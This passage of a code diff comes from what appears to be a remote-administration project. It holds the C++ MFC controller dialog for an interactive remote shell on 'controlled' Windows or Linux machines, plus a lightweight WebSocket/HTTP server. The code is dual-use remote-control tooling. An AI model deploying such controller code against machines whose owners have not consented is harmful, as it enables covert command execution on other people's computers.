||||
{
|
||||
if (text.empty()) return text;
|
||||
// 尝试以 UTF-8 解码,MB_ERR_INVALID_CHARS 会让非法 UTF-8 失败
|
||||
int wLen = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, text.c_str(), -1, NULL, 0);
|
||||
if (wLen <= 0) return text; // 不是合法 UTF-8,原样返回(Windows 客户端 GBK 数据走这里)
|
||||
std::wstring wstr(wLen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, text.c_str(), -1, &wstr[0], wLen);
|
||||
int aLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (aLen <= 0) return text;
|
||||
std::string ansi(aLen, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], aLen, NULL, NULL);
|
||||
if (!ansi.empty() && ansi.back() == '\0') ansi.pop_back();
|
||||
return ansi;
|
||||
}
|
||||
|
||||
VOID CShellDlg::AddKeyBoardData(void)
|
||||
{
|
||||
// 最后填上0
|
||||
|
||||
//Shit\0
|
||||
m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //从被控制端来的数据我们要加上一个\0
|
||||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
|
||||
bool firstRecv = tmp.c_str() == std::string(">");
|
||||
std::string cleaned = removeAnsiCodes(tmp.c_str());
|
||||
std::string converted = Utf8ToLocal(cleaned); // Linux 客户端 UTF-8 → GBK;Windows 客户端原样通过
|
||||
CString strResult = firstRecv ? "" : CString("\r\n") + converted.c_str();
|
||||
|
||||
//替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致 所有的回车换行
|
||||
strResult.Replace("\n", "\r\n");
|
||||
|
||||
if (strResult.GetLength() + m_Edit.GetWindowTextLength() >= EDIT_MAXLENGTH) {
|
||||
CString text;
|
||||
m_Edit.GetWindowTextA(text);
|
||||
auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // 留5个字符输入clear清屏
|
||||
if (n < 0) {
|
||||
strResult = strResult.Right(strResult.GetLength() + n);
|
||||
}
|
||||
m_Edit.SetWindowTextA(text.Right(max(n, 0)));
|
||||
}
|
||||
|
||||
//得到当前窗口的字符个数
|
||||
int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir
|
||||
//1.txt
|
||||
//2.txt
|
||||
//dir\r\n
|
||||
|
||||
//将光标定位到该位置并选中指定个数的字符 也就是末尾 因为从被控端来的数据 要显示在 我们的 先前内容的后面
|
||||
m_Edit.SetSel(iLength, iLength);
|
||||
|
||||
//用传递过来的数据替换掉该位置的字符 //显示
|
||||
m_Edit.ReplaceSel(strResult);
|
||||
|
||||
//重新得到字符的大小
|
||||
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
|
||||
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
|
||||
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
|
||||
}
|
||||
|
||||
void CShellDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
|
||||
CString ExtractAfterLastNewline(const CString& str)
|
||||
{
|
||||
int nPos = str.ReverseFind(_T('\n'));
|
||||
if (nPos != -1) {
|
||||
return str.Mid(nPos + 1);
|
||||
}
|
||||
|
||||
nPos = str.ReverseFind(_T('\r'));
|
||||
if (nPos != -1) {
|
||||
return str.Mid(nPos + 1);
|
||||
}
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN) {
|
||||
// 屏蔽VK_ESCAPE、VK_DELETE
|
||||
if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
|
||||
return true;
|
||||
//如果是可编辑框的回车键
|
||||
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) {
|
||||
//得到窗口的数据大小
|
||||
int iLength = m_Edit.GetWindowTextLength();
|
||||
CString str;
|
||||
//得到窗口的字符数据
|
||||
m_Edit.GetWindowText(str);
|
||||
//加入换行符
|
||||
str += "\r\n";
|
||||
//得到整个的缓冲区的首地址再加上原有的字符的位置,其实就是用户当前输入的数据了
|
||||
//然后将数据发送出去
|
||||
LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel;
|
||||
#ifdef _DEBUG
|
||||
TRACE("[Shell]=> %s", (char*)pSrc);
|
||||
#endif
|
||||
if (0 == strcmp((char*)pSrc, "exit\r\n")) { // 退出终端
|
||||
return PostMessage(WM_CLOSE);
|
||||
} else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // 清理终端
|
||||
str = ExtractAfterLastNewline(str.Left(str.GetLength() - 7));
|
||||
m_Edit.SetWindowTextA(str);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
m_nReceiveLength = m_nCurSel;
|
||||
m_Edit.m_nMinEditPos = m_nReceiveLength; // 更新最小可编辑位置
|
||||
m_Edit.SetSel(m_nCurSel, m_nCurSel);
|
||||
return TRUE;
|
||||
}
|
||||
int length = str.GetLength() - m_nCurSel;
|
||||
m_ContextObject->Send2Client(pSrc, length);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
}
|
||||
// 限制VK_BACK
|
||||
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) {
|
||||
if (m_Edit.GetWindowTextLength() <= m_nReceiveLength)
|
||||
return true;
|
||||
}
|
||||
// 限制VK_LEFT - 不能移动到历史输出区域
|
||||
if (pMsg->wParam == VK_LEFT && pMsg->hwnd == m_Edit.m_hWnd) {
|
||||
int nStart, nEnd;
|
||||
m_Edit.GetSel(nStart, nEnd);
|
||||
if (nStart <= (int)m_nReceiveLength)
|
||||
return true;
|
||||
}
|
||||
// 限制VK_UP - 禁止向上移动到历史输出
|
||||
if (pMsg->wParam == VK_UP && pMsg->hwnd == m_Edit.m_hWnd) {
|
||||
return true;
|
||||
}
|
||||
// 限制VK_HOME - 移动到当前命令行开始位置而不是文本开头
|
||||
if (pMsg->wParam == VK_HOME && pMsg->hwnd == m_Edit.m_hWnd) {
|
||||
m_Edit.SetSel((int)m_nReceiveLength, (int)m_nReceiveLength);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT)) {
|
||||
pDC->SetTextColor(RGB(255, 255, 255)); // 白色文本
|
||||
pDC->SetBkColor(RGB(0, 0, 0)); // 黑色背景
|
||||
return (HBRUSH)m_brBackground.GetSafeHandle();
|
||||
}
|
||||
return __super::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
}
|
||||
|
||||
|
||||
void CShellDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
if (!m_Edit.GetSafeHwnd()) return; // 确保控件已创建
|
||||
|
||||
// 计算新位置和大小
|
||||
CRect rc;
|
||||
m_Edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
|
||||
// 重新设置控件大小
|
||||
m_Edit.MoveWindow(0, 0, cx, cy, TRUE);
|
||||
}
|
||||
49
server/2015Remote/ShellDlg.h
Normal file
49
server/2015Remote/ShellDlg.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#pragma once
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// 限制光标不能移动到历史输出区域,只能在当前命令行内编辑
|
||||
class CAutoEndEdit : public CEdit
|
||||
{
|
||||
public:
|
||||
CAutoEndEdit() : m_nMinEditPos(0) {}
|
||||
UINT m_nMinEditPos; // 最小可编辑位置(历史输出的末尾)
|
||||
afx_msg void OnChar(UINT nChar, UINT nRepCnt, UINT nFlags);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
|
||||
// CShellDlg 对话框
|
||||
|
||||
class CShellDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CShellDlg)
|
||||
|
||||
public:
|
||||
CShellDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
virtual ~CShellDlg();
|
||||
|
||||
private:
|
||||
CBrush m_brBackground; // 背景画刷,避免 GDI 泄漏
|
||||
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
UINT m_nReceiveLength;
|
||||
VOID AddKeyBoardData(void);
|
||||
int m_nCurSel; //获得当前数据所在位置;
|
||||
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_SHELL };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
CAutoEndEdit m_Edit;
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
};
|
||||
735
server/2015Remote/SimpleWebSocket.h
Normal file
735
server/2015Remote/SimpleWebSocket.h
Normal file
@@ -0,0 +1,735 @@
|
||||
#pragma once
|
||||
// SimpleWebSocket - A lightweight WebSocket server implementation
|
||||
// Compatible with httplib and doesn't require Windows 10
|
||||
|
||||
#include <WinSock2.h>
|
||||
#include <WS2tcpip.h>
|
||||
#include <Windows.h>
|
||||
#include <wincrypt.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <functional>
|
||||
#include <atomic>
|
||||
#include <condition_variable>
|
||||
#include <memory>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
|
||||
namespace ws {
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Static shutdown flag - survives Server destruction, safe for detached threads
|
||||
static std::atomic<bool> s_serverShuttingDown{false};
|
||||
|
||||
// HTTP Response structure for enhanced HTTP handling
|
||||
struct HttpResponse {
|
||||
int status = 200;
|
||||
std::string contentType = "text/html; charset=utf-8";
|
||||
std::map<std::string, std::string> headers;
|
||||
std::string body;
|
||||
std::string filePath; // If set, stream file instead of body
|
||||
|
||||
HttpResponse() = default;
|
||||
HttpResponse(int s) : status(s) {}
|
||||
HttpResponse(const std::string& content) : body(content) {}
|
||||
|
||||
static HttpResponse NotFound() { return HttpResponse(404); }
|
||||
static HttpResponse Forbidden() { return HttpResponse(403); }
|
||||
static HttpResponse OK(const std::string& content, const std::string& type = "text/html; charset=utf-8") {
|
||||
HttpResponse r;
|
||||
r.body = content;
|
||||
r.contentType = type;
|
||||
return r;
|
||||
}
|
||||
static HttpResponse File(const std::string& path, const std::string& filename = "") {
|
||||
HttpResponse r;
|
||||
r.filePath = path;
|
||||
r.contentType = "application/octet-stream";
|
||||
if (!filename.empty()) {
|
||||
r.headers["Content-Disposition"] = "attachment; filename=\"" + filename + "\"";
|
||||
}
|
||||
return r;
|
||||
}
|
||||
};
|
||||
|
||||
// WebSocket opcodes
|
||||
enum Opcode {
|
||||
CONTINUATION = 0x0,
|
||||
TEXT = 0x1,
|
||||
BINARY = 0x2,
|
||||
CLOSE = 0x8,
|
||||
PING = 0x9,
|
||||
PONG = 0xA
|
||||
};
|
||||
|
||||
// WebSocket frame
|
||||
struct Frame {
|
||||
bool fin;
|
||||
Opcode opcode;
|
||||
std::vector<uint8_t> payload;
|
||||
};
|
||||
|
||||
// WebSocket connection
|
||||
class Connection {
|
||||
public:
|
||||
Connection(SOCKET sock, const std::string& ip)
|
||||
: m_socket(sock), m_clientIP(ip), m_closed(false) {}
|
||||
|
||||
~Connection() { close(); }
|
||||
|
||||
bool send(const std::string& text) {
|
||||
return sendFrame(TEXT, (const uint8_t*)text.data(), text.size());
|
||||
}
|
||||
|
||||
bool sendBinary(const uint8_t* data, size_t len) {
|
||||
return sendFrame(BINARY, data, len);
|
||||
}
|
||||
|
||||
bool sendPing() {
|
||||
return sendFrame(PING, nullptr, 0);
|
||||
}
|
||||
|
||||
bool sendFrame(Opcode opcode, const uint8_t* data, size_t len) {
|
||||
if (m_closed) return false;
|
||||
|
||||
std::vector<uint8_t> frame;
|
||||
|
||||
// FIN + opcode
|
||||
frame.push_back(0x80 | opcode);
|
||||
|
||||
// Payload length (server doesn't mask)
|
||||
if (len < 126) {
|
||||
frame.push_back((uint8_t)len);
|
||||
} else if (len < 65536) {
|
||||
frame.push_back(126);
|
||||
frame.push_back((len >> 8) & 0xFF);
|
||||
frame.push_back(len & 0xFF);
|
||||
} else {
|
||||
frame.push_back(127);
|
||||
for (int i = 7; i >= 0; i--) {
|
||||
frame.push_back((len >> (i * 8)) & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
// Payload
|
||||
frame.insert(frame.end(), data, data + len);
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_sendMutex);
|
||||
int sent = ::send(m_socket, (const char*)frame.data(), (int)frame.size(), 0);
|
||||
return sent == (int)frame.size();
|
||||
}
|
||||
|
||||
bool readFrame(Frame& frame) {
|
||||
if (m_closed) return false;
|
||||
|
||||
uint8_t header[2];
|
||||
if (recv(m_socket, (char*)header, 2, MSG_WAITALL) != 2) {
|
||||
return false;
|
||||
}
|
||||
|
||||
frame.fin = (header[0] & 0x80) != 0;
|
||||
frame.opcode = (Opcode)(header[0] & 0x0F);
|
||||
|
||||
bool masked = (header[1] & 0x80) != 0;
|
||||
uint64_t payloadLen = header[1] & 0x7F;
|
||||
|
||||
if (payloadLen == 126) {
|
||||
uint8_t ext[2];
|
||||
if (recv(m_socket, (char*)ext, 2, MSG_WAITALL) != 2) return false;
|
||||
payloadLen = (ext[0] << 8) | ext[1];
|
||||
} else if (payloadLen == 127) {
|
||||
uint8_t ext[8];
|
||||
if (recv(m_socket, (char*)ext, 8, MSG_WAITALL) != 8) return false;
|
||||
payloadLen = 0;
|
||||
for (int i = 0; i < 8; i++) {
|
||||
payloadLen = (payloadLen << 8) | ext[i];
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t mask[4] = {0};
|
||||
if (masked) {
|
||||
if (recv(m_socket, (char*)mask, 4, MSG_WAITALL) != 4) return false;
|
||||
}
|
||||
|
||||
frame.payload.resize((size_t)payloadLen);
|
||||
if (payloadLen > 0) {
|
||||
if (recv(m_socket, (char*)frame.payload.data(), (int)payloadLen, MSG_WAITALL) != (int)payloadLen) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Unmask
|
||||
if (masked) {
|
||||
for (size_t i = 0; i < payloadLen; i++) {
|
||||
frame.payload[i] ^= mask[i % 4];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void close() {
|
||||
if (!m_closed.exchange(true)) {
|
||||
closesocket(m_socket);
|
||||
}
|
||||
}
|
||||
|
||||
bool isClosed() const { return m_closed; }
|
||||
const std::string& clientIP() const { return m_clientIP; }
|
||||
SOCKET socket() const { return m_socket; }
|
||||
|
||||
private:
|
||||
SOCKET m_socket;
|
||||
std::string m_clientIP;
|
||||
std::atomic<bool> m_closed;
|
||||
std::mutex m_sendMutex;
|
||||
};
|
||||
|
||||
// WebSocket server
|
||||
class Server {
|
||||
public:
|
||||
using MessageHandler = std::function<void(std::shared_ptr<Connection>, const std::string&)>;
|
||||
using BinaryHandler = std::function<void(std::shared_ptr<Connection>, const uint8_t*, size_t)>;
|
||||
using ConnectHandler = std::function<void(std::shared_ptr<Connection>)>;
|
||||
using DisconnectHandler = std::function<void(std::shared_ptr<Connection>)>;
|
||||
|
||||
Server() : m_listenSocket(INVALID_SOCKET), m_running(false), m_activeThreads(0) {}
|
||||
~Server() { stop(); }
|
||||
|
||||
void onMessage(MessageHandler handler) { m_onMessage = handler; }
|
||||
void onBinary(BinaryHandler handler) { m_onBinary = handler; }
|
||||
void onConnect(ConnectHandler handler) { m_onConnect = handler; }
|
||||
void onDisconnect(DisconnectHandler handler) { m_onDisconnect = handler; }
|
||||
|
||||
bool start(int port, const std::string& path = "/ws") {
|
||||
m_path = path;
|
||||
|
||||
// Initialize Winsock
|
||||
WSADATA wsaData;
|
||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create socket
|
||||
m_listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (m_listenSocket == INVALID_SOCKET) {
|
||||
WSACleanup();
|
||||
return false;
|
||||
}
|
||||
|
||||
// Allow reuse
|
||||
int opt = 1;
|
||||
setsockopt(m_listenSocket, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));
|
||||
|
||||
// Bind
|
||||
sockaddr_in addr = {};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = INADDR_ANY;
|
||||
addr.sin_port = htons((u_short)port);
|
||||
|
||||
if (bind(m_listenSocket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) {
|
||||
closesocket(m_listenSocket);
|
||||
WSACleanup();
|
||||
return false;
|
||||
}
|
||||
|
||||
// Listen
|
||||
if (listen(m_listenSocket, SOMAXCONN) == SOCKET_ERROR) {
|
||||
closesocket(m_listenSocket);
|
||||
WSACleanup();
|
||||
return false;
|
||||
}
|
||||
|
||||
m_running = true;
|
||||
m_acceptThread = std::thread(&Server::acceptLoop, this);
|
||||
return true;
|
||||
}
|
||||
|
||||
void stop() {
|
||||
if (!m_running) return;
|
||||
m_running = false;
|
||||
s_serverShuttingDown = true; // Static flag survives Server destruction
|
||||
|
||||
// Close listen socket first to stop accepting new connections
|
||||
closesocket(m_listenSocket);
|
||||
|
||||
if (m_acceptThread.joinable()) {
|
||||
m_acceptThread.join();
|
||||
}
|
||||
|
||||
// Close all connections (this will cause handleClient loops to exit)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
for (auto& conn : m_connections) {
|
||||
conn->close();
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all handleClient threads to exit (max 5 seconds)
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(m_threadCountMutex);
|
||||
bool allExited = m_threadCountCV.wait_for(lock, std::chrono::seconds(5), [this]() {
|
||||
return m_activeThreads == 0;
|
||||
});
|
||||
if (!allExited) {
|
||||
// Threads didn't exit in time - they will exit on next recv() timeout
|
||||
// Log warning but continue shutdown (don't block forever)
|
||||
OutputDebugStringA("[WebSocket] Warning: Some threads still active after timeout\n");
|
||||
}
|
||||
}
|
||||
|
||||
// Now safe to clear callbacks after threads have exited
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
m_connections.clear();
|
||||
}
|
||||
m_httpHandler = nullptr;
|
||||
m_onConnect = nullptr;
|
||||
m_onDisconnect = nullptr;
|
||||
m_onMessage = nullptr;
|
||||
m_onBinary = nullptr;
|
||||
|
||||
WSACleanup();
|
||||
}
|
||||
|
||||
void broadcast(const std::string& text) {
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
for (auto& conn : m_connections) {
|
||||
conn->send(text);
|
||||
}
|
||||
}
|
||||
|
||||
void broadcastBinary(const uint8_t* data, size_t len) {
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
for (auto& conn : m_connections) {
|
||||
conn->sendBinary(data, len);
|
||||
}
|
||||
}
|
||||
|
||||
// Send WebSocket ping to all connections (for heartbeat)
|
||||
void pingAll() {
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
for (auto& conn : m_connections) {
|
||||
conn->sendPing();
|
||||
}
|
||||
}
|
||||
|
||||
bool isRunning() const { return m_running; }
|
||||
|
||||
private:
|
||||
void acceptLoop() {
|
||||
while (m_running) {
|
||||
sockaddr_in clientAddr;
|
||||
int addrLen = sizeof(clientAddr);
|
||||
|
||||
SOCKET clientSocket = accept(m_listenSocket, (sockaddr*)&clientAddr, &addrLen);
|
||||
if (clientSocket == INVALID_SOCKET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
char ipStr[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &clientAddr.sin_addr, ipStr, INET_ADDRSTRLEN);
|
||||
|
||||
std::thread(&Server::handleClient, this, clientSocket, std::string(ipStr)).detach();
|
||||
}
|
||||
}
|
||||
|
||||
// HTTP handler for non-WebSocket requests
|
||||
using HttpHandler = std::function<HttpResponse(const std::string& path)>;
|
||||
HttpHandler m_httpHandler;
|
||||
|
||||
public:
|
||||
void onHttp(HttpHandler handler) { m_httpHandler = handler; }
|
||||
|
||||
private:
|
||||
// Parse Proxy Protocol v2 header and extract real client IP
|
||||
bool parseProxyProtocolV2(SOCKET sock, std::string& clientIP) {
|
||||
// PP2 signature (12 bytes)
|
||||
static const uint8_t PP2_SIG[] = {
|
||||
0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A,
|
||||
0x51, 0x55, 0x49, 0x54, 0x0A
|
||||
};
|
||||
|
||||
// Peek first 16 bytes (signature + ver/cmd + fam + len)
|
||||
uint8_t header[16];
|
||||
int n = recv(sock, (char*)header, 16, MSG_PEEK);
|
||||
if (n < 16) return false;
|
||||
|
||||
// Check signature
|
||||
if (memcmp(header, PP2_SIG, 12) != 0) return false;
|
||||
|
||||
// Actually consume the 16 bytes
|
||||
recv(sock, (char*)header, 16, MSG_WAITALL);
|
||||
|
||||
uint8_t verCmd = header[12];
|
||||
uint8_t fam = header[13];
|
||||
uint16_t addrLen = (header[14] << 8) | header[15];
|
||||
|
||||
// Version must be 2, command 0 (LOCAL) or 1 (PROXY)
|
||||
if ((verCmd & 0xF0) != 0x20) return false;
|
||||
|
||||
// Read address data
|
||||
if (addrLen > 0 && addrLen <= 512) {
|
||||
std::vector<uint8_t> addrData(addrLen);
|
||||
if (recv(sock, (char*)addrData.data(), addrLen, MSG_WAITALL) != addrLen) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Extract client IP if PROXY command with IPv4
|
||||
if ((verCmd & 0x0F) == 0x01 && (fam & 0xF0) == 0x10) {
|
||||
// IPv4: src_addr(4) + dst_addr(4) + src_port(2) + dst_port(2)
|
||||
if (addrLen >= 12) {
|
||||
char ip[INET_ADDRSTRLEN];
|
||||
struct in_addr addr;
|
||||
memcpy(&addr, addrData.data(), 4);
|
||||
inet_ntop(AF_INET, &addr, ip, sizeof(ip));
|
||||
clientIP = ip;
|
||||
}
|
||||
}
|
||||
// IPv6: src_addr(16) + dst_addr(16) + src_port(2) + dst_port(2)
|
||||
else if ((verCmd & 0x0F) == 0x01 && (fam & 0xF0) == 0x20) {
|
||||
if (addrLen >= 36) {
|
||||
char ip[INET6_ADDRSTRLEN];
|
||||
struct in6_addr addr;
|
||||
memcpy(&addr, addrData.data(), 16);
|
||||
inet_ntop(AF_INET6, &addr, ip, sizeof(ip));
|
||||
clientIP = ip;
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void handleClient(SOCKET sock, std::string clientIP) {
|
||||
// Check if already shutting down before starting
|
||||
if (s_serverShuttingDown) {
|
||||
closesocket(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
// Increment active thread count
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_threadCountMutex);
|
||||
m_activeThreads++;
|
||||
}
|
||||
|
||||
// RAII guard to decrement thread count on exit
|
||||
// Note: Must check static flag to avoid accessing destroyed Server
|
||||
struct ThreadGuard {
|
||||
Server* server;
|
||||
~ThreadGuard() {
|
||||
// Only access server members if not shutting down
|
||||
if (!s_serverShuttingDown) {
|
||||
std::lock_guard<std::mutex> lock(server->m_threadCountMutex);
|
||||
server->m_activeThreads--;
|
||||
server->m_threadCountCV.notify_all();
|
||||
}
|
||||
}
|
||||
} guard{this};
|
||||
|
||||
// Check for Proxy Protocol v2 header
|
||||
parseProxyProtocolV2(sock, clientIP);
|
||||
|
||||
// Read HTTP request
|
||||
std::string request;
|
||||
char buf[4096];
|
||||
int n;
|
||||
|
||||
while ((n = recv(sock, buf, sizeof(buf) - 1, 0)) > 0) {
|
||||
buf[n] = 0;
|
||||
request += buf;
|
||||
if (request.find("\r\n\r\n") != std::string::npos) break;
|
||||
}
|
||||
|
||||
// Check if WebSocket upgrade
|
||||
if (request.find("Upgrade: websocket") == std::string::npos) {
|
||||
// Regular HTTP request - extract path
|
||||
std::string path = "/";
|
||||
size_t getPos = request.find("GET ");
|
||||
if (getPos != std::string::npos) {
|
||||
size_t pathStart = getPos + 4;
|
||||
size_t pathEnd = request.find(" ", pathStart);
|
||||
if (pathEnd != std::string::npos) {
|
||||
path = request.substr(pathStart, pathEnd - pathStart);
|
||||
}
|
||||
}
|
||||
|
||||
// Check if server is shutting down (use static flag - safe after Server destruction)
|
||||
if (s_serverShuttingDown) {
|
||||
closesocket(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
HttpResponse resp(404);
|
||||
if (m_running && m_httpHandler) {
|
||||
resp = m_httpHandler(path);
|
||||
}
|
||||
|
||||
// Build and send HTTP response
|
||||
sendHttpResponse(sock, resp);
|
||||
closesocket(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
// Extract Sec-WebSocket-Key
|
||||
std::string key;
|
||||
size_t keyPos = request.find("Sec-WebSocket-Key:");
|
||||
if (keyPos != std::string::npos) {
|
||||
keyPos += 18;
|
||||
while (keyPos < request.size() && request[keyPos] == ' ') keyPos++;
|
||||
size_t keyEnd = request.find("\r\n", keyPos);
|
||||
if (keyEnd != std::string::npos) {
|
||||
key = request.substr(keyPos, keyEnd - keyPos);
|
||||
}
|
||||
}
|
||||
|
||||
if (key.empty()) {
|
||||
closesocket(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
// Generate accept key
|
||||
std::string acceptKey = generateAcceptKey(key);
|
||||
|
||||
// Send handshake response
|
||||
std::string response =
|
||||
"HTTP/1.1 101 Switching Protocols\r\n"
|
||||
"Upgrade: websocket\r\n"
|
||||
"Connection: Upgrade\r\n"
|
||||
"Sec-WebSocket-Accept: " + acceptKey + "\r\n"
|
||||
"\r\n";
|
||||
|
||||
::send(sock, response.c_str(), (int)response.size(), 0);
|
||||
|
||||
// Create connection
|
||||
auto conn = std::make_shared<Connection>(sock, clientIP);
|
||||
|
||||
// Check if server is shutting down (use static flag - safe after Server destruction)
|
||||
if (s_serverShuttingDown) {
|
||||
closesocket(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
m_connections.push_back(conn);
|
||||
}
|
||||
|
||||
// Copy callback to local variable to avoid race condition
|
||||
auto onConnect = m_onConnect;
|
||||
if (!s_serverShuttingDown && m_running && onConnect) {
|
||||
onConnect(conn);
|
||||
}
|
||||
|
||||
// Message loop - use static flag for outer check, member for inner
|
||||
Frame frame;
|
||||
while (!s_serverShuttingDown && m_running && !conn->isClosed()) {
|
||||
if (!conn->readFrame(frame)) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Check shutdown status again before processing
|
||||
if (s_serverShuttingDown) break;
|
||||
|
||||
switch (frame.opcode) {
|
||||
case TEXT:
|
||||
{
|
||||
auto onMessage = m_onMessage;
|
||||
if (!s_serverShuttingDown && m_running && onMessage) {
|
||||
std::string msg(frame.payload.begin(), frame.payload.end());
|
||||
onMessage(conn, msg);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case BINARY:
|
||||
{
|
||||
auto onBinary = m_onBinary;
|
||||
if (!s_serverShuttingDown && m_running && onBinary) {
|
||||
onBinary(conn, frame.payload.data(), frame.payload.size());
|
||||
}
|
||||
}
|
||||
break;
|
||||
case PING:
|
||||
if (!s_serverShuttingDown) {
|
||||
conn->sendFrame(PONG, frame.payload.data(), frame.payload.size());
|
||||
}
|
||||
break;
|
||||
case CLOSE:
|
||||
conn->close();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
conn->close();
|
||||
|
||||
// Only call onDisconnect if server is still running (check static flag first)
|
||||
if (!s_serverShuttingDown) {
|
||||
auto onDisconnect = m_onDisconnect;
|
||||
if (m_running && onDisconnect) {
|
||||
onDisconnect(conn);
|
||||
}
|
||||
|
||||
// Remove from connections list
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
m_connections.erase(
|
||||
std::remove_if(m_connections.begin(), m_connections.end(),
|
||||
[&conn](const std::shared_ptr<Connection>& c) { return c.get() == conn.get(); }),
|
||||
m_connections.end());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::string generateAcceptKey(const std::string& key) {
|
||||
// WebSocket magic GUID
|
||||
std::string concat = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
|
||||
|
||||
// SHA-1 hash
|
||||
HCRYPTPROV hProv = 0;
|
||||
HCRYPTHASH hHash = 0;
|
||||
BYTE hash[20];
|
||||
DWORD hashLen = 20;
|
||||
|
||||
